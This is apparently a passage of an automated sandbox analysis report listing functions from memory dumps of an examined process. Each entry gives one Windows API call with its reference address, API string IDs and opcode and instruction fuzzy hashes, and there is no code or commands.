Opcode Fuzzy Hash: db98f56c9e15229c2639fde6bc5cf5c38d0bbe8f1a38b7ae3558d2a0e5b029bb
Instruction Fuzzy Hash: 91210A754097846FE7138B25DC41BA2BFACEF4B720F1884DAED848B193D2649909C771

Uniqueness

Uniqueness Score: -1.00%

Function 058A49B6, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 058A4A33

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e2b763587a0c41b089c14c7efe1758c63c8a6228c6aab95138249ce21451d20c
Instruction ID: 6054a333e209e7416b81d881bb7a4e34fa1e8bc8e29d2a25e240fcba61b9d539
Opcode Fuzzy Hash: e2b763587a0c41b089c14c7efe1758c63c8a6228c6aab95138249ce21451d20c
Instruction Fuzzy Hash: 1021B072500204AFEF21CF65DC44F6AFBECEF08320F04886AED85DB151D270A8088B71

Uniqueness

Uniqueness Score: -1.00%

Function 058A4A91, Relevance: 1.6, APIs: 1, Instructions: 79fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A4B18

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c6f8875aeb426dded109c1359e52e6adbb8af2cd0172c3b9b31c16cc19c77c85
Instruction ID: 232a1ce1b74e3c86b2c3079df406b104a53633163acd76faf3456d3f398eacc3
Opcode Fuzzy Hash: c6f8875aeb426dded109c1359e52e6adbb8af2cd0172c3b9b31c16cc19c77c85
Instruction Fuzzy Hash: 94217F765093C09FEB12CB25DC55B92BFB4AF47210F0D84DADD85CF2A3D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 058A121B, Relevance: 1.6, APIs: 1, Instructions: 79networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A12AA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 7c4913b1119fe7c5b34ac900dffc3c900d3485dcbbd41982fb4cb4c123c6a96f
Instruction ID: 4bf9c2fa6673e6c7266b1bec0b885974332d1b14b033841255a168a521b0f773
Opcode Fuzzy Hash: 7c4913b1119fe7c5b34ac900dffc3c900d3485dcbbd41982fb4cb4c123c6a96f
Instruction Fuzzy Hash: A12162724093846FE712CB65DC45F96BFB8EF46210F1884ABE984DB152D224A508CB75

Uniqueness

Uniqueness Score: -1.00%

Function 058A04EA, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 058A0575

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 68bdda1dec858998b276fe33bfe03ce67df434a736e812d09b8653af9e46a8b1
Instruction ID: c141c45a68f269c1cec14fd68665db63d25d39685247d566622cb47dd5f8df85
Opcode Fuzzy Hash: 68bdda1dec858998b276fe33bfe03ce67df434a736e812d09b8653af9e46a8b1
Instruction Fuzzy Hash: B521AD71509380AFE722CF25CC48F66FFA8EF05210F1884AEED85DB252D275A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310B82E, Relevance: 1.6, APIs: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 0310B8BA

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 0d234c4a7a5d2ed3f360879aa74a0fe4da3536a4c8eb18c9dde4c3c130104ec5
Instruction ID: 676067a75d19ab799425fd0c17efd9aaa8697c7d2a9240cf978b08db5e7365ce
Opcode Fuzzy Hash: 0d234c4a7a5d2ed3f360879aa74a0fe4da3536a4c8eb18c9dde4c3c130104ec5
Instruction Fuzzy Hash: 6A21A071508380AFE722CF65DC44F56FFF8EF09210F08849EE9858B292D375A408CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A0006, Relevance: 1.6, APIs: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0091

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1b0eaa9f0e70f3f9d65cfd8926c8540fdc0c9829bb41bec323c0607eb8c18710
Instruction ID: 8de57c81526e7ab945dd51e2c151e1ea8a7cb7a7b6431e515786ec35f307d353
Opcode Fuzzy Hash: 1b0eaa9f0e70f3f9d65cfd8926c8540fdc0c9829bb41bec323c0607eb8c18710
Instruction Fuzzy Hash: 9A21B072404380AFEB228F55DC44FA7BFA8EF45720F0884AAFD84DB152D275A809CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310BC2A, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 0310BCA9

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4a11cc88d5c4d5bcac1f8d29d0a39fd2187871b0284982e602b2787710ce7629
Instruction ID: 0c3a4441d34ba66e4973f419e5188d71cb62f45038aaf4f3b912c2040f6366cf
Opcode Fuzzy Hash: 4a11cc88d5c4d5bcac1f8d29d0a39fd2187871b0284982e602b2787710ce7629
Instruction Fuzzy Hash: 55218E71504644AFEB21CF66DD45B66FBE8EF08310F1884AEED858B291D7B1E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310B913, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 0310B990

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8a8b118bdf3194582d860dc2fa6f02d2eb61770145c17a88d1941e3bf649e1db
Instruction ID: b915530a0b7b0abf524c081611598a6e3fa776a73acd8fe2c758bfeffbc44739
Opcode Fuzzy Hash: 8a8b118bdf3194582d860dc2fa6f02d2eb61770145c17a88d1941e3bf649e1db
Instruction Fuzzy Hash: EF215A714093C09FDB128B65DC55AA2BFB4EF0B220F1984DAE9C48F1A3C2659859CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A024E, Relevance: 1.6, APIs: 1, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A02E0

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: abb78bf71840145788a2db711356ee13b41a7e912a94608b0ef915da21418e66
Instruction ID: 1a4d7449d2c373960b2d7c529a4f443cc61a2b6550c5cc322ab01d1b85ebc82a
Opcode Fuzzy Hash: abb78bf71840145788a2db711356ee13b41a7e912a94608b0ef915da21418e66
Instruction Fuzzy Hash: 77219D72509380AFE722CF56CC44F67FFF8EF09610F08849AE985DB252D264E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310AB56, Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000E2C), ref: 0310ABD5

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: d4b3a21776c75d8dda10c71ec804178d94afd5d1d40d1ad833e46426a129a588
Instruction ID: f9275ef1ec45bcac8a69dc722d8769cc5594a6ae979ec566bb6b81faf9a53a10
Opcode Fuzzy Hash: d4b3a21776c75d8dda10c71ec804178d94afd5d1d40d1ad833e46426a129a588
Instruction Fuzzy Hash: 44219F72500704AFE721DF29DD44F6AFBECEF08710F08885AED859A281D374E5488A71

Uniqueness

Uniqueness Score: -1.00%

Function 058A0F5D, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0FE3

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: getsockname
String ID:
API String ID: 3358416759-0
Opcode ID: 13711e70ea92adb275fd06e96197094411b91ed71cee0b507f979511de5ee743
Instruction ID: 76ec89fac90ef7d2bb282c64cf82e5d077176e8cef89996677a7008ca17b617b
Opcode Fuzzy Hash: 13711e70ea92adb275fd06e96197094411b91ed71cee0b507f979511de5ee743
Instruction Fuzzy Hash: EE217172509380AFE721CB25DC45FA6FFA8EF45210F0884AAED45DB192D274A548CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A2181, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 058A2203

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 06c4f07bd8ceda51eb799b693dadbe2811124db194e8da15aef82820659ddb12
Instruction ID: 55bf4b2ff02f2facc3612ff3768db434d47d44287f33d870daf1d4f23dca728a
Opcode Fuzzy Hash: 06c4f07bd8ceda51eb799b693dadbe2811124db194e8da15aef82820659ddb12
Instruction Fuzzy Hash: CB21A1765093849FEB22CF25DC44B62BFF4EF06214F09849AED858F163D235E808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310B31E, Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

LsaOpenPolicy.ADVAPI32(?,00000E2C), ref: 0310B38F

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: OpenPolicy
String ID:
API String ID: 2030686058-0
Opcode ID: baa1fc1fed77c2e68bfa49a6311186d05ee765a7a795af509896b1f937133a8a
Instruction ID: 8ceba2050a9d475cfafed1bf7494de0707ae8aea1c97b6392bdb4c28ad33fab2
Opcode Fuzzy Hash: baa1fc1fed77c2e68bfa49a6311186d05ee765a7a795af509896b1f937133a8a
Instruction Fuzzy Hash: F8218171504204AFEB20DF69EC45F6AFBACEF48710F18886AED45DB281D3B4E5048A71

Uniqueness

Uniqueness Score: -1.00%

Function 058A0986, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 058A09F9

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: e39d1b10b184bd49aed887e61b58dc9694858dec4ed842759edb6e761e022cb8
Instruction ID: dc0d799f1d2b884b948e46a7ee9f26ed0568f92844e2d3520d520a60a4cec3e0
Opcode Fuzzy Hash: e39d1b10b184bd49aed887e61b58dc9694858dec4ed842759edb6e761e022cb8
Instruction Fuzzy Hash: 25218072604244AFF720DF65DC89B66FBE8EF04310F18846AED89DB242D275E804CA75

Uniqueness

Uniqueness Score: -1.00%

Function 058A1A47, Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,00000E2C,?,?), ref: 058A1ACA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: 629ef877d819f49b524a767d115f38882db735ec87bbb294e920d396efe8e23e
Instruction ID: 8bd90ea2068b3d93ffd0b4d6d49f57a32a09fa381d0243065b1395616d3006bc
Opcode Fuzzy Hash: 629ef877d819f49b524a767d115f38882db735ec87bbb294e920d396efe8e23e
Instruction Fuzzy Hash: 0621D1715093806FD312CF25DC41F62BFB8EF86620F19859AED849B642D224A819CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 058A4B5F, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 058A4BDA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 83b45447088e3989861618c62b724662adc9b9a281b2a44a121aef9146faf959
Instruction ID: 2bf618a569027e21cfb938a6ebe15bb4428a6ed80a8d984db81eb54aa7f4b3bd
Opcode Fuzzy Hash: 83b45447088e3989861618c62b724662adc9b9a281b2a44a121aef9146faf959
Instruction Fuzzy Hash: 272180725093809FEB22CB65DC85B52BFE8EF06210F0984EAED45CB262D275D849CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A1041, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A10BF

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: d52cca37422819267ea0495628796b3b438652f0221ed1d8fb138012e662e2fd
Instruction ID: 68213e49d287b8685b66cba2c49b6e81598f0271631a86f1936d3e4b5b8d2c04
Opcode Fuzzy Hash: d52cca37422819267ea0495628796b3b438652f0221ed1d8fb138012e662e2fd
Instruction Fuzzy Hash: F32181724093846FEB12CF65DC85FA6FFB8EF46710F0884AAED84DB152D274A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310B002, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 0310B06C

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: b083d700738fd49580e0f4363e093592567d3e5df4ec8d460df42d8d3aad5dda
Instruction ID: 403e2b8ee71c1dc29c4ee8d447c892e10bd04db5dd13d599eb609251963970e3
Opcode Fuzzy Hash: b083d700738fd49580e0f4363e093592567d3e5df4ec8d460df42d8d3aad5dda
Instruction Fuzzy Hash: 93119071504204AFEB21CF66DD85FAAFBECEF08320F14846AED45DB251D674E5488B71

Uniqueness

Uniqueness Score: -1.00%

Function 0310AC5E, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 0310ACD8

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 139b69c096138331b96357ba50d99fe10ecbf03dffc39ea9ac879c465b589fb4
Instruction ID: 124a3d9efd4c31148cfeb8316bf2413966cca5c04fe9316bc145034d29c91a69
Opcode Fuzzy Hash: 139b69c096138331b96357ba50d99fe10ecbf03dffc39ea9ac879c465b589fb4
Instruction Fuzzy Hash: 61214D75600704AFEB20CF1ADD84FA6FBECEF08710F08846AE9459B291D7A0E449CA71

Uniqueness

Uniqueness Score: -1.00%

Function 058A050A, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 058A0575

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: fd152a2ca94dad60d29512b31ed54d3e6d873176bd8e6f9a3a71c0147522494f
Instruction ID: 09ed86309b6f0d590df169b19413d4324b16d617e414bf3e7c3063f7258fe3d0
Opcode Fuzzy Hash: fd152a2ca94dad60d29512b31ed54d3e6d873176bd8e6f9a3a71c0147522494f
Instruction Fuzzy Hash: A4219D72904240EFEB21DF69DC49B66FBE8EF04320F18846AED859B241D275A8048A71

Uniqueness

Uniqueness Score: -1.00%

Function 058A1142, Relevance: 1.6, APIs: 1, Instructions: 68networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,?), ref: 058A11AD

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: accept
String ID:
API String ID: 3005279540-0
Opcode ID: 8a96e810db543ea9c5ed56466273bca5a364c96c68dd047b7d27550c01b0bacd
Instruction ID: a4cc3fa93efeb732914ed6b80d696be1e118b5750ad2899f983af36589cd5988
Opcode Fuzzy Hash: 8a96e810db543ea9c5ed56466273bca5a364c96c68dd047b7d27550c01b0bacd
Instruction Fuzzy Hash: EE21AE71504244AFFB21DF25DD89F66FBE8EF04320F1884AAED848B241D375A808CA75

Uniqueness

Uniqueness Score: -1.00%

Function 0310B84E, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 0310B8BA

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: b208317c8d5beaa764061ec72bb20c373f7721281fde04a5d8219fe853509346
Instruction ID: 5778b696f3eb5a5b3575089383e974baf6e6311c3229e6c1e33d27299ea651b6
Opcode Fuzzy Hash: b208317c8d5beaa764061ec72bb20c373f7721281fde04a5d8219fe853509346
Instruction Fuzzy Hash: 1B21D171504240AFEB21CF65DC85B66FBE8EF08310F1888AEED858B291D3B1E408CB75

Uniqueness

Uniqueness Score: -1.00%

Function 058A060A, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 058A067E

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: f12be7b3c339ec5a29b9aadfcad3304ff5f0fbb5548d16b8258d3d9dd1ded682
Instruction ID: 2f0c3c8db1024b5b2aee7dbac18509c5630b6e00b81d216c83ea8804557e45d9
Opcode Fuzzy Hash: f12be7b3c339ec5a29b9aadfcad3304ff5f0fbb5548d16b8258d3d9dd1ded682
Instruction Fuzzy Hash: 5521A172500344EFE721CF6ADD48F66FBE8EF48324F14845EED848B251D271A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A1B9D, Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryShim.MSCOREE(?,?,?,?), ref: 058A1C19

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: LibraryLoadShim
String ID:
API String ID: 1475914169-0
Opcode ID: 70044ed9937cce8a7eb671b475784be5a7b18d929acdb755da830a5606060945
Instruction ID: e1830b0293a708b7f989eef0c9137f9afb31b86a6427f545f5ebc73934dd551f
Opcode Fuzzy Hash: 70044ed9937cce8a7eb671b475784be5a7b18d929acdb755da830a5606060945
Instruction Fuzzy Hash: 142193B25093845FE7228B15DC44B62FFF8EF46610F08809AED85CB253D365E909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A026E, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A02E0

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 936204f1c6de43867a4c3e872825ddeaee37de2c354bebbfc7c3fcf685cab09c
Instruction ID: dca8236a28595291b3c522bbd8c6a74037656a7551fe1fe9f59be55bfd40e24e
Opcode Fuzzy Hash: 936204f1c6de43867a4c3e872825ddeaee37de2c354bebbfc7c3fcf685cab09c
Instruction Fuzzy Hash: EE116A72500704AFEB21CE56DC85F66FBE8EF08720F18846AED45DB251E264E8088A71

Uniqueness

Uniqueness Score: -1.00%

Function 058A0C56, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0CB5

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 393355fb870bbb7865353bfe29ca9d44bc16b4d5a5fd756e6d560a0f33344545
Instruction ID: fc7f37ae8f66a72607ff54d61f7f2b9237f82555d22fdede77767d527352bd96
Opcode Fuzzy Hash: 393355fb870bbb7865353bfe29ca9d44bc16b4d5a5fd756e6d560a0f33344545
Instruction Fuzzy Hash: C3119072500244AFEB21CF5ADC45FAAFBE8EF04720F14846AED49DB251D275A805CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A1246, Relevance: 1.6, APIs: 1, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A12AA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: e20d7d7abaf5c4a89bcf26bd11691afad6e3e5853538a54a07e63d0f83ab360d
Instruction ID: 09a1c8fe11b9ca66c7b7bcaa295047b711cdf4b93759319955585711bda6be03
Opcode Fuzzy Hash: e20d7d7abaf5c4a89bcf26bd11691afad6e3e5853538a54a07e63d0f83ab360d
Instruction Fuzzy Hash: FD119072400204AFEB21CB56DC84FA6FBECEF08720F14846AED49DB241E674E404CB75

Uniqueness

Uniqueness Score: -1.00%

Function 058A0F82, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0FE3

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: getsockname
String ID:
API String ID: 3358416759-0
Opcode ID: 18f9ee64e0cb8e7ecd4072ce105be380e3139eaba08716e68e47e90ce7512a01
Instruction ID: 4b0ce53988bfa5d9142ea4b82346de71acd71f2b0dda3a7692e844ecffa90e99
Opcode Fuzzy Hash: 18f9ee64e0cb8e7ecd4072ce105be380e3139eaba08716e68e47e90ce7512a01
Instruction Fuzzy Hash: B9118272504244AFEB20CF55DC85FA6FBE8EF44720F14846AED49DB281D674A948CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0310A5AF, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0310A61A

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8b0dfc213977ab5a082f2be47bc58a252d2a06b7d70b89b0daa0eba984ad0254
Instruction ID: 5a46d3734564028092569ab4d487c79033655666b419d0eb74a490166ec99f56
Opcode Fuzzy Hash: 8b0dfc213977ab5a082f2be47bc58a252d2a06b7d70b89b0daa0eba984ad0254
Instruction Fuzzy Hash: 4E118172409380AFDB228F55DC44A62FFF8EF4A610F0884DAED858B662D375A418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310B9D0, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,?), ref: 0310BA42

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: db180c405909d9d8b97f91f3732d25e5e50319c5a6470b3707fc5140dcab34e5
Instruction ID: d795a3fc9e4b814579f94c602761c8d5dfe79cf7485ff0aaf5bea2d31ced65f7
Opcode Fuzzy Hash: db180c405909d9d8b97f91f3732d25e5e50319c5a6470b3707fc5140dcab34e5
Instruction Fuzzy Hash: 07216D714093C09FDB22CB25DC55BA2BFB4AF4A224F0D84DAE9848B153D2759408CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310A65A, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 0310A6CC

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ffac0e2a9be9a14f65561f03a421b236de40dbd22c969412500c9616230da67f
Instruction ID: 8ed33e2d37997e9f258ee42abb50921f275db36094df88b68cd0fbd28099efe7
Opcode Fuzzy Hash: ffac0e2a9be9a14f65561f03a421b236de40dbd22c969412500c9616230da67f
Instruction Fuzzy Hash: EF1159714093C49FD7128B25DC94A62BFB8EF07620F0D80DAED848B2A3D2695908DB72

Uniqueness

Uniqueness Score: -1.00%

Function 058A4759, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A47BB

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: db2712c801683493ed29f5ae44a42a2292c4644190fbc5a094e8c2e54aed951b
Instruction ID: cfd270a9f9d78f8192c1aea44d2a61317703dc759c7915e4b2b758369c12fdcb
Opcode Fuzzy Hash: db2712c801683493ed29f5ae44a42a2292c4644190fbc5a094e8c2e54aed951b
Instruction Fuzzy Hash: F01193765093C49FEB12CF25DC85B56BFE8EF06220F0984AAEC85CB252D275D849CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A0032, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0091

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 2ccba167101c40f97cf453be6d8cc8d5e3091bb05aa594dcf4177776cd268c01
Instruction ID: 8636a586761fd0074363a63d67c195371029786911d3bedbea832671a6ee4bd1
Opcode Fuzzy Hash: 2ccba167101c40f97cf453be6d8cc8d5e3091bb05aa594dcf4177776cd268c01
Instruction Fuzzy Hash: 9911C472400204EFEB21CF55DC44F66FBE8EF04720F14846AED45DB241D275A408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A01AA, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,00000E2C,?,?), ref: 058A0226

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 48b4a30cd8a6b86a98f8a9a4abe448c1eefddafebb00f015fe0a50bdb6bb6c81
Instruction ID: a93e5f60d7dfce1084b55e0fc17d77a08fe53b40dd0dad2b41532f2ca709388b
Opcode Fuzzy Hash: 48b4a30cd8a6b86a98f8a9a4abe448c1eefddafebb00f015fe0a50bdb6bb6c81
Instruction Fuzzy Hash: 0511B671509380AFD3118B25DC45F26FFB8EF86720F19819BEC444B692D225B915CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 058A1066, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A10BF

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

